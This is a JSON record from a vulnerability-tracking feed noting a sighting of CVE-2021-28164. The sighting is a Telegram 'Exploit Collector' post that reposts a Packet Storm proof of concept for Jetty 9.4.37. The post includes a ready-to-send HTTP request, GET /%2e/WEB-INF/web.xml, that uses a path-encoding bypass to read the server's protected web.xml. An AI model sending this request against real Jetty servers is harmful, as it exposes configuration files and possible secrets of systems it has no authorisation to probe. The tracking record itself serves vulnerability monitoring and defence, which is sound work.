{"uuid": "09412b41-61dc-423b-aa5a-183eaa4b8873", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28164", "type": "seen", "source": "https://t.me/hacking_Attack/28643", "content": "Exploit Collector\nJetty 9.4.37.v20210219 Information Disclosure\n\nhttps://4.bp.blogspot.com/-hg5R_Iy9kqs/WWlu56TnyEI/AAAAAAAAIJM/rTW1_kDHOwg4grZYYDaMUD1TyZ2BewRDQCLcBGAs/s1600/h107.png \nJetty version 9.4.37.v20210219 suffers from an information disclosure vulnerability.\n\nMD5 | ff583cecb4b3cb1a0a4e1562056d0981\n\nDownload\n# Exploit Title: Jetty 9.4.37.v20210219 - Information Disclosure \n# Date: 2021-10-21\n# Exploit Author: Mayank Deshmukh\n# Vendor Homepage: https://www.eclipse.org/jetty/\n# Software Link: https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-distribution/9.4.37.v20210219/\n# Version: 9.4.37.v20210219 and 9.4.38.v20210224\n# Tested on: Kali Linux\n# CVE : CVE-2021-28164\n\nPOC #1 - web.xml\n\nGET /%2e/WEB-INF/web.xml HTTP/1.1\nHost: localhost:8080\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nConnection: close\nUpgrade-Insecure-Requests: 1\nCache-Control: max-age=0\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:02:12.788606Z"}